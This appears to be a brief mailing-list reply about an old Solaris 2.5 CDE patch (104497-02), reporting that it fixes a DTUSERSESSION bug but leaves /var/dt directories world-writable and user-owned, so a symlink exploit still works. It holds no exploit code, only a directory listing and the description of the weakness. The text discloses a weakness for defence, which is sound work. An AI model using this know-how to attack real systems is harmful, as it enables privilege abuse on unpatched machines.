I'm afraid that's not enough: it fixes the DTUSERSESSION
bug; but it doesn't fixes directory permisions.
In a Solaris 2.5 sparc box, with patch 104497-02
you have:
drwxrwxrwx 4 root root 1536 Feb 25 19:46 /var/dt
drwxrwxrwx 3 bin bin 512 Jan 20 1997 /var/dt/appconfig
drwxr-xr-x 4 elias robot 512 Oct 6 14:42 /var/dt/tmp
^^^^^ this is a normal non-admin account; sometimes
the CDE login sessions changes it.
so, it's still vulnerable to the link exploit
(but yes, this is not a problem in 2.6, I don't know about 2.5.1)
